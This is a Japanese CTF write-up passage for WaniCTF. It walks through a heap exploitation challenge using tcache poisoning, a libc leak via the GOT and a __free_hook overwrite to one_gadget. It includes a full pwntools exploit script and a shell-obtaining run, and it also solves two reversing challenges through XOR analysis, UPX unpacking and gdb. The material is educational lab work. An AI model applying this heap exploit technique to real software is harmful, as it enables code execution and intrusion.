更に、index=0,1を作成し、1をdeleteしたあと、0にoverflowさせて書き込むと、deleteされたはずのindex=1の領域にはみ出して書かれていることがわかる。(その後index=1 を再度addすると、edit前に上記で溢れた値が書かれている)

さらにさらに、同じindexを2度delできそう。

以上の観測事項より、freeした領域に自由な値が書込み可能そう、double freeできちゃいそう、かつlibcが2.27でtcacheが有効、__free_hookを書き換え可能なので、_free_hookをone_gadgetに書き換える方針でいく。

tcache poisoningについては、SECCON Beginners CTF 2019のWriteup - CTFするぞ の BabyHeap の解説をいつも参考にさせていただいております。
また、去年のSECCON for Beginners CTF 2020 [Pwn] Beginner's Heapが、メモリの状況をとても把握しやすく、今回の問題を理解・解くにあたっても大いに役立ちました。感謝!

tcacheの基本情報については、こちらにメモを残していたので、事前に再度確認。

作戦

freeしたときにtcacheに格納されるサイズ、かつ同じサイズの領域を3つ確保し、うち2つをfreeします。

1. add(0)
2. add(1)
3. add(2)
4. del(2)
5. del(1)

tcacheはこんな感じ

# tcache -> 1 -> 2 -> NULL

(1,2はもともとindex1,index2に格納されていた領域へのポインタ、の意)

memoryはこんな感じ

+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000021 |
+--------------------+
| 0x0000000000000000 | <-- 0
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000021 |
+--------------------+
| 0x0000000000000000 | <-- (1)
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000021 |
+--------------------+
| 0x0000000000000000 | <-- (2)
+--------------------+
| 0x0000000000000000 |
+--------------------+

ここで、tcacheにはいっている領域の fd(次のtcache領域へのポインタ)を、好きな関数へのポインタで上書きしてしまいます。

6. edit(0, 'a'*0x10 + p64(0) + p64(0x21) + p64(0xdeadbeaf))
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000021 |
+--------------------+
| 0x6161616161616161 | <-- 0
+--------------------+
| 0x6161616161616161 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000021 |
+--------------------+
| 0x00000000deadbeaf | <-- (1)
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000021 |
+--------------------+
| 0x0000000000000000 | <-- (2)
+--------------------+
| 0x0000000000000000 |
+--------------------+

tcacheに入っている(1)の領域の先頭に0xdeadbeafが書かれました。tcache上では、この領域は次のtache領域へのポインタを示すので、(1)の領域の次に使われる領域が0xdeadbeafになります。
このポインタを、libcの__free_hookのアドレスにしてあげると、free,すなわちdelが実行されるときにこの領域が実行されることになります。

今、tcacheの状態は下記のようになりました。

# tcache -> 1 -> __free_hook

__freehookの領域がallocされるまでaddを繰り返します。

7. add(1)  # tcache -> __free_hook
8. add(2)  # __free_hookの領域がとれる

__free_hookが呼ばれたときの引数に当たる領域に、one_gadgetで取得したアドレスを書いておくと、free実行時にこれが実行されてshellが取れるはず。

9. edit(8, libc_base + onegadget_addr)

!!!!!
one_gadgetのアドレスはlibc_baseが必要なんだった。

ということで、その前にlibc_baseをリークさせる必要があります。
上記とだいたい同じ考え方で、tcacheの状態を綺麗にしたいので、違うサイズのtcacheを使うようにします。(今回はlibc_baseのリークをサイズ0x10, __free_hookに仕掛けるのを0x20のサイズでやることにしました。なので上の解説とソースが若干異なります。)

1. add(0)
2. add(1)
3. add(2)
4. del(2)
5. del(1)  # tcache -> 1 -> 2 -> NULL

さっきと一緒。

6. edit(0, 'a'*0x10 + p64(0) + p64(0x21) + p64(got@puts))
# tcache -> 1 -> got@puts
7. add(1)  # tcache -> got@puts
8. add(2)  # got@putsの領域がとれる

GOTについて、ここでおさらい

GOTは

オブジェクトがロードされた時(プログラムの起動時)には、GOTに特別な値を入れておき、本当の関数のアドレス調査を、その関数の初回呼び出し時まで遅延する

ので、このgot@putsに入っている値がputs関数のアドレス👍
libc_baseは、puts関数アドレス - libc_putsで求めることが出来る。

よし、あとはone_gadgetでsystem実行してくれるアドレスを見つければ解けそう!

one_gadget実行結果

$ one_gadget libc-2.27.so
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

また3つ使えそうなのがでてきました。今回は2個目が刺さった。

これらを全部組み合わせたソルバ。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

#host = 'rop.wanictf.org'
host = 'localhost'
port = 9008

elf = ELF('pwn08')
libc = ELF('libc-2.27.so')

one_gadget_addr = 0x4f432

def add_memo(r, idx, size):
    print(r.recvuntil(b'command?: '))
    print('[add] ' + str(idx) + ', ' + str(size))
    r.sendline('1')
    print(r.recvuntil(b'index?[0-9]: '))
    r.sendline(str(idx))
    print(r.recvuntil(b'size?: '))
    r.sendline(str(size))

def edit_memo(r, idx, memo):
    print(r.recvuntil(b'command?: '))
    print('[edit] ' + str(idx) + ', ' + str(memo))
    r.sendline(b'2')
    r.recvuntil(b'index?[0-9]: ')
    r.sendline(str(idx))
    r.recvuntil(b'memo?: ')
    r.sendline(memo)

def view_memo(r, idx):
    print(r.recvuntil(b'command?: '))
    print('[view] ' + str(idx))
    r.sendline(b'3')
    r.recvuntil(b'index?[0-9]: ')
    r.sendline(str(idx))
    return r.recv()

def del_memo(r, idx):
    print(r.recvuntil(b'command?: '))
    print('[del] ' + str(idx))
    r.sendline(b'9')
    r.recvuntil(b'index?[0-9]: ')
    r.sendline(str(idx))

r = remote(host, port)

# leak libc_base addr (using 0x10 tcache)
add_memo(r, 0, 0x10)
add_memo(r, 1, 0x10)
add_memo(r, 2, 0x10)
del_memo(r, 2)  # tcache(0x10) -> 2 -> NULL
del_memo(r, 1)  # tcache(0x10) -> 1 -> 2 -> NULL
payload = b'a' * 0x10
payload += p64(0) + p64(0x21)
payload += p64(elf.got['puts'])  # *fd of freed chunk 1
edit_memo(r, 0, payload)         # tcache(0x10) -> 1 -> got@puts
add_memo(r, 1, 0x10)             # tcache(0x10) -> got@puts
add_memo(r, 2, 0x10)             # = got@puts
res = view_memo(r, 2)
puts_addr = int.from_bytes(res[:6], 'little')
libc_base = puts_addr - libc.symbols['puts']
print('libc_base: ' + hex(libc_base))

# get shell (using 0x20 tcache)
add_memo(r, 3, 0x20)
add_memo(r, 4, 0x20)
add_memo(r, 5, 0x20)
del_memo(r, 5)  # tcache(0x20) -> 5 -> NULL
del_memo(r, 4)  # tcache(0x20) -> 4 -> 5 -> NULL
payload = b'a' * 0x20
payload += p64(0) + p64(0x31)
payload += p64(libc_base + libc.symbols['__free_hook'])  # *fd of freed chunk 4
edit_memo(r, 3, payload)       # tcache(0x20) -> 4 -> free_hook
add_memo(r, 4, 0x20)           # tcache(0x20) -> free_hook
add_memo(r, 5, 0x20)           # = free_hook
edit_memo(r, 5, p64(libc_base + one_gadget_addr))  # free_hook -> one_gadget
del_memo(r, 5)  # trigger free and execve("/bin/sh", rsp+0x40, environ)
r.interactive()

実行結果

# python solve.py 
[*] '/root/ctf/wani/pwn08'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/root/ctf/wani/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
...(割愛)...
libc_base: 0x7fe3dd87b000
...(割愛)...
[del] 5
[*] Switching to interactive mode
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
FLAG{I-am-a-heap-beginner}

フラグゲットォォォォ٩(๑❛ᴗ❛๑)尸

waniCTFとても丁寧で良い問題があったのだけど、参加者がそんなに多くなかったのとheap問題だったのもあってか、この問題に関してはwriteupがそんなに無かった。
その中でも結構違う解き方とか、途中から枝分かれした解き方なんかがあって、皆さんのwriteupを見て楽しんでいました。間違ってるところなどあればご指摘いただけると嬉しいです。

[Reversing] complex [Hard]

この問題は「simple」問題よりも複雑なようです。

ツールの使い方をさらに調べつつ、トライしてください!

Writer : hi120ki

complexファイルが配布されます。
こちらもすぐghidraに突っ込んでみます。
関連が深い関数のdecompile結果(読みやすいように整形済)。

undefined8 main(void)

{
  int ret;
  size_t input_len;
  char input_48 [48];
  char input_5 [5];
  char acStack67 [37];
  char acStack30 [14];
  int local_10;
  uint idx;
  
  printf("input flag : ");
  __isoc99_scanf(&DAT_00101dc2,input_5);
  input_len = strlen(input_5);
  // flag format check, flag_len = 43
  if (((input_len != 0x2b) || (ret = strncmp(input_5,"FLAG{",5), ret != 0)) ||
     (ret = strcmp(acStack30,"}"), ret != 0)) {
    puts("Incorrect");
    return 1;
  }
  strncpy(input_48,acStack67,0x25);  // 0x25 = 37
  idx = 0;
  do {
    if (0x13 < (int)idx) {  // 0x13 = 19
      return 0;
    }
    check_ret = check((ulong)idx,input_48);
    if (check_ret != 0) {
      if (check_ret == 1) {
        puts("Incorrect");
        return 1;
      }
      if (check_ret == 2) {
        printf("Correct! Flag is %s\n",input_5);
        return 0;
      }
    }
    idx = idx + 1;
  } while( true );
}


void check(undefined4 idx, undefined8 input_string) {
  switch(idx) {
  case 0:
    check_0(input_string);
    break;
  case 1:
    check_1(input_string);
    break;
  case 2:
    check_2(input_string);
    break;
  case 3:
    check_3(input_string);
    break;
  case 4:
    check_4(input_string);
    break;
  case 5:
    check_5(input_string);
    break;
  case 6:
    check_6(input_string);
    break;
  case 7:
    check_7(input_string);
    break;
  case 8:
    check_8(input_string);
    break;
  case 9:
    check_9(input_string);
    break;
  case 10:
    check_10(input_string);
    break;
  case 0xb:
    check_11(input_string);
    break;
  case 0xc:
    check_12(input_string);
    break;
  case 0xd:
    check_13(input_string);
    break;
  case 0xe:
    check_14(input_string);
    break;
  case 0xf:
    check_15(input_string);
    break;
  case 0x10:
    check_16(input_string);
    break;
  case 0x11:
    check_17(input_string);
    break;
  case 0x12:
    check_18(input_string);
    break;
  case 0x13:
    check_19(input_string);
  }
  return;
}

undefined8 check_0(long input_string) {
  char local_68 [48];
  char local_38 [44];
  int idx;
  
  idx = 0;
  while( true ) {
    if (0x24 < idx) {  // 0x24 = 36
      return 1;
    }
    if (((int)local_38[(long)idx] ^ (uint)*(byte *)(input_string + (long)idx)) !=
        (int)local_68[(long)idx]) break;
    idx = idx + 1;
  }
  return 0;
}
(以下check関数はほぼ同じ)

おー、これはなるほど。
まずFLAG{}のフォーマットチェックをして、次に中身の文字をcheck関数で処理している。

checkを全部見てみると、check_13のみreturn 2がある。

undefined8 check_13(long lParm1)

{
  char local_68 [48];
  char local_38 [44];
  int local_c;
  
  local_c = 0;
  while( true ) {
    if (0x24 < local_c) {
      return 2;
    }
    if (((int)local_38[(long)local_c] ^ (uint)*(byte *)(lParm1 + (long)local_c)) !=
        (int)local_68[(long)local_c]) break;
    local_c = local_c + 1;
  }
  return 1;
}

flagはcheck_retが2のときだけ表示されるので、check_13を満たす入力が正解っぽい。

local_68local_38をxorすれば良さそうなんだけど、それぞれどの値が入ってるのかわからないなー。動的解析しないと無理かな??

競技中のメモはここで終わっている。
reversing問題、大体ghidraでdecompileしてもらって、それをじっくり解読して解く、っていう力技芸しか持っていないので、短い競技期間中に他のジャンルも解きながら手を出すには時間がたりなさすぎた。シュッと解く技を身につけなければ…。

ということで、他の人のwriteupや想定解をみて勉強。

!!!
途中までほぼ一緒じゃん…。想定された解き方だった…。
問題はおそらく、ghidraのdecompileを何の設定もせずに適当にやっているからか、local変数に入る値が取れてなかったこと。

とりあえず、使っていたghidraのバージョンが結構古かったので、色々機能追加されてるのかも!と思い最新版(9.2.2)をinsatllしました。

f:id:kusuwada:20210131065812p:plain

出たじゃん!!!(T-T)

ツールは常に最新に保ちましょう!特にghidraは最初に公開されたときからアップデートしてなかったのでは…。

ということで気を取り直して、

local_68local_38をxorすれば良さそうなんだけど

をやってみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from Crypto.Util.number import long_to_bytes

l_38 = 0x3834303131353334363531383634363634353138373932353131393431333637
l_68 = 0x675a42444550416b535d45675d57535e576a48545b5857476e44564d6e575f53

flag = l_38 ^ l_68
print(flag)
print(long_to_bytes(flag)[::-1])

エンディアン考慮しながらコピペするのが面倒だったので、全部逆さまにしておいて最後に反転する作戦。

実行結果

$ python xor.py 
43164863758191181965989803532770813652838059377566449456977026465573122632036
b'did_you_really_check_the_return_'

ghidraのversion…ガクッ orz

[Reversing] static [Very hard]

バイナリを注意深く見てみよう

ビルド環境 ubuntu 18.04 gcc latest

ヒント:まずは表層解析をして気になる文字列が見つかれば調べてみましょう

Writer : hi120ki

この問題は競技中未着手でした。
staticというバイナリが配布されます。

ヒントから、stringsコマンドとかやってみます。気になった文字列はこのあたりかなぁ。

$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $
/proc/self/exe
GCC: (Ubuntu 7.5.0-3u

UPXとやらを調べてみます。
なんかpackerらしいので、unpackしたら良いことがありそう。

ちょっと古い記事だけど、日本語の記事も発見。
UPXによるパックとアンパックとか | KentaKomai Blog

$ upx -v
                          Copyright (C) 1996 - 2018
UPX 3.95        Markus Oberhumer, Laszlo Molnar & John Reiser   Aug 26th 2018

Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..

Commands:
  -1     compress faster                   -9    compress better
  -d     decompress                        -l    list compressed file
  -t     test compressed file              -V    display version number
  -h     give more help                    -L    display software license
Options:
  -q     be quiet                          -v    be verbose
  -oFILE write output to 'FILE'
  -f     force compression of suspicious files
  -k     keep backup files
file..   executables to (de)compress

Type 'upx --help' for more detailed help.

UPX comes with ABSOLUTELY NO WARRANTY; for details visit https://upx.github.io

おっ!kali linuxにupx入ってる!ラッキー!
解凍してみます。

$ upx -d static 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2018
UPX 3.95        Markus Oberhumer, Laszlo Molnar & John Reiser   Aug 26th 2018

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    905656 <-    326508   36.05%   linux/amd64   static

Unpacked 1 file.

これでunpackした実行ファイルを、ghidraに食わせて解析してもらいます。

f:id:kusuwada:20210131070042p:plain

entry関数

void entry(undefined8 param_1,undefined8 param_2,undefined8 param_3)

{
  undefined8 in_stack_00000000;
  
  FUN_004012a0(FUN_00400f23,in_stack_00000000,&stack0x00000008,FUN_00401d00,FUN_00401da0,param_3);
  do {
                    /* WARNING: Do nothing block with infinite loop */
  } while( true );
}

から呼ばれているFUN_00400f2を確認

bool FUN_00400f23(void)
{
  int iVar1;
  long in_FS_OFFSET;
  undefined local_78 [48];
  undefined local_48 [5];
  undefined auStack67 [51];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  FUN_00410320("input flag : ");
  FUN_004104a0(&DAT_004b06a4,local_48);
  iVar1 = FUN_00400bb7(local_48);
  if (iVar1 != 0) {
    FUN_00400b9d();
  }
  iVar1 = FUN_00400be3(local_48);
  if (iVar1 != 0) {
    FUN_00400b9d();
  }
  iVar1 = FUN_00400c19(local_48);
  if (iVar1 != 0) {
    FUN_00400b9d();
  }
  thunk_FUN_0040050e(local_78,auStack67,0x30,local_78);
  iVar1 = FUN_00400c4e(local_78);
  if (iVar1 != 0) {
    FUN_00411180("Incorrect");
  }
  else {
    FUN_00410320("Correct! Flag is %s\n",local_48);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    FUN_00450650();
  }
  return iVar1 == 0;
}

これを読みやすくすると

bool FUN_00400f23(void)

{
  int ret;
  undefined secret [48];
  undefined input_str [5];
  undefined auStack67 [51];

  print("input flag : ");
  FUN_004104a0(&DAT_004b06a4,input_str);
  ret = check_len(input_str);  // 0x36
  if (ret != 0) {
    incorrect();
  }
  ret = check_prefix(input_str);  // FLAG{
  if (ret != 0) {
    incorrect();
  }
  ret = check_postfix(input_str);  // }
  if (ret != 0) {
    incorrect();
  }
  secret_from_flag(secret,auStack67,0x30,secret);
  ret = check_secret(secret);
  if (ret != 0) {
    exit("Incorrect");
  }
  else {
    print("Correct! Flag is %s\n",input_str);
  }
  return ret == 0;
}

flag長、formatのチェックをして、中身のチェックをしているようです。
肝心のflagのformat以外の部分をチェックしているロジックcheck_secretはこんな感じ。

undefined check_secret(long param_1)

{
  undefined ret;
  uint uVar2;
  int idx;
  uint answer [48];
  uint key_xor [50];

  ret = 0;
  answer[0] = 0x63c1d9cb;
  answer[1] = 0x383f1bb2;
  answer[2] = 0x4107dd90;
  answer[3] = 0x34841fb5;
  answer[4] = 0x3ebdf538;
  answer[5] = 0x31565585;
  answer[6] = 0x4def055e;
  answer[7] = 0x1bfdeb79;
  answer[8] = 0x24118ff9;
  answer[9] = 0x272298e8;
  answer[10] = 0x7abcb5e2;
  answer[11] = 0x9466371;
  answer[12] = 0x7799b008;
  answer[13] = 0x172289a0;
  answer[14] = 0x401a25a3;
  answer[15] = 0x39ce61b8;
  answer[16] = 0x56ec69a8;
  answer[17] = 0x106f1fbc;
  answer[18] = 0x77fc40dd;
  answer[19] = 0x4828ae9d;
  answer[20] = 0x2252bab7;
  answer[21] = 0x45935dcc;
  answer[22] = 0x7565bd9a;
  answer[23] = 0x5ae240c0;
  answer[24] = 0x20edd601;
  answer[25] = 0x47362402;
  answer[26] = 0xb61fcc7;
  answer[27] = 0x7c7607b7;
  answer[28] = 0x6cf7737d;
  answer[29] = 0x522262fa;
  answer[30] = 0x5ee1319b;
  answer[31] = 0x50b94ca2;
  answer[32] = 0xa617e04;
  answer[33] = 0x1fe90f3c;
  answer[34] = 0x53d6c81;
  answer[35] = 0x491f731d;
  answer[36] = 0x513f6544;
  answer[37] = 0x532c71b5;
  answer[38] = 0x651d5efb;
  answer[39] = 0x7550f572;
  answer[40] = 0x7a4f0aff;
  answer[41] = 0x5fda144e;
  answer[42] = 0x7e975877;
  answer[43] = 0x71e8ba89;
  answer[44] = 0x76fc9db7;
  answer[45] = 0x3eb17e6f;
  answer[46] = 0x2bb71c42;
  answer[47] = 0x4de907f2;
  FUN_0040f240(0x12bb0b7);
  idx = 0;
  while (idx < 0x30) {
    uVar2 = FUN_0040fa30();
    key_xor[idx] = uVar2;
    idx = idx + 1;
  }
  idx = 0;
  while (idx < 0x30) {
    if (((uint)*(byte *)(param_1 + idx) ^ key_xor[idx]) != answer[idx]) {
      ret = 1;
    }
    idx = idx + 1;
  }

  return ret;  // should be 0

入力のparam_1と、FUN_0040fa30()で生成されるkey_xorをxorした結果がanswerに慣れば良いところまではわかったのですが、FUN_0040f240FUN_0040fa30の処理が深く複雑すぎてghidra上では追えない。(decompile結果としては追えるけど、理解の範囲を超えている)

ここで想定解を見てみると、 FUN_0040f240srand()FUN_0040fa30rand()の処理だそうなので、同じ処理をCで買いいてあげるとkey_xorが再現可能、とのこと。でもこの解法はなかなか無理なのでは?と思い、他の方のwriteupを見てみると、gdb動的解析してkey_xorを抜いている。今回はこの方法を習得することにしました。

参考にさせていただいたwriteup:
WaniCTF 2020 Writeup - Satoooonの物置

gdbを立ち上げて、まず key_xor に中身を埋めたあとの次の命令(index初期化のポイント)に breakpointを仕込みます。

f:id:kusuwada:20210131080128p:plain

$ gdb ./static 
GNU gdb (Debian 8.2.1-2) 8.2.1
...(割愛)...
gdb-peda$ b *0x00400e95
Breakpoint 1 at 0x400e95

runし、flagの長さとフォーマットで弾かれないように、下記のようにinput(flagの中身48文字)を入れます。

gdb-peda$ r
Starting program: /root/ctf/wani/static 
input flag : FLAG{123456789012345678901234567890123456789012345678}
...(割愛)...
Breakpoint 1, 0x0000000000400e95 in ?? ()

breakpointまで来ました!
次は、key_xor(元のコードのauStack216)に入っている値を抜きます。どこに入っているかは

f:id:kusuwada:20210131080334p:plain

より、rbp-0xd0からの領域を見れば良さそうです。

gdb-peda$ x/48wx $rbp-0xd0
0x7fffffffdf10: 0x63c1d9b9  0x383f1bd1  0x4107dda4  0x34841fea
0x7fffffffdf20: 0x3ebdf50c  0x315655eb  0x4def053a  0x1bfdeb26
0x7fffffffdf30: 0x24118fca  0x2722989c  0x7abcb583  0x09466305
0x7fffffffdf40: 0x7799b061  0x172289c3  0x401a25fc  0x39ce6189
0x7fffffffdf50: 0x56ec69c1  0x106f1fd2  0x77fc40b6  0x4828aec2
0x7fffffffdf60: 0x2252ba83  0x45935da2  0x7565bdfe  0x5ae2409f
0x7fffffffdf70: 0x20edd672  0x47362435  0x0b61fcb5  0x7c7607de
0x7fffffffdf80: 0x6cf7730d  0x5222628a  0x5ee131a8  0x50b94cc6
0x7fffffffdf90: 0x0a617e5b  0x1fe90f4c  0x053d6cb0  0x491f7368
0x7fffffffdfa0: 0x513f6537  0x532c71ea  0x651d5e8e  0x7550f502
0x7fffffffdfb0: 0x7a4f0a87  0x5fda1411  0x7e975807  0x71e8bae8
0x7fffffffdfc0: 0x76fc9dd4  0x3eb17e04  0x2bb71c71  0x4de90796

よし。あとはxorを書くだけのはず。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

answer = [0x63c1d9cb, 0x383f1bb2, 0x4107dd90, 0x34841fb5, 0x3ebdf538, 0x31565585, 0x4def055e, 0x1bfdeb79, 0x24118ff9, 0x272298e8, 0x7abcb5e2, 0x9466371, 0x7799b008, 0x172289a0, 0x401a25a3, 0x39ce61b8, 0x56ec69a8, 0x106f1fbc, 0x77fc40dd, 0x4828ae9d, 0x2252bab7, 0x45935dcc, 0x7565bd9a, 0x5ae240c0, 0x20edd601, 0x47362402, 0xb61fcc7, 0x7c7607b7, 0x6cf7737d, 0x522262fa, 0x5ee1319b, 0x50b94ca2, 0xa617e04, 0x1fe90f3c, 0x53d6c81, 0x491f731d, 0x513f6544, 0x532c71b5, 0x651d5efb, 0x7550f572, 0x7a4f0aff, 0x5fda144e, 0x7e975877, 0x71e8ba89, 0x76fc9db7, 0x3eb17e6f, 0x2bb71c42, 0x4de907f2]
key_xor = [0x63c1d9b9, 0x383f1bd1, 0x4107dda4, 0x34841fea, 0x3ebdf50c, 0x315655eb, 0x4def053a, 0x1bfdeb26, 0x24118fca, 0x2722989c, 0x7abcb583, 0x09466305, 0x7799b061, 0x172289c3, 0x401a25fc, 0x39ce6189, 0x56ec69c1, 0x106f1fd2, 0x77fc40b6, 0x4828aec2, 0x2252ba83, 0x45935da2, 0x7565bdfe, 0x5ae2409f, 0x20edd672, 0x47362435, 0x0b61fcb5, 0x7c7607de, 0x6cf7730d, 0x5222628a, 0x5ee131a8, 0x50b94cc6, 0x0a617e5b, 0x1fe90f4c, 0x053d6cb0, 0x491f7368, 0x513f6537, 0x532c71ea, 0x651d5e8e, 0x7550f502, 0x7a4f0a87, 0x5fda1411, 0x7e975807, 0x71e8bae8, 0x76fc9dd4, 0x3eb17e04, 0x2bb71c71, 0x4de90796]

flag = ""
for i in range(len(answer)):
    flag += chr(answer[i] ^ key_xor[i])

print(flag)

実行結果

$ python xor.py 
rc4_4nd_3tatic_1ink_4nd_s7ripp3d_p1us_upx_pack3d

🙌 まだ競技本番中に動的解析実施して解いたこと無いので、修行を積んで解けるようにしておきたい。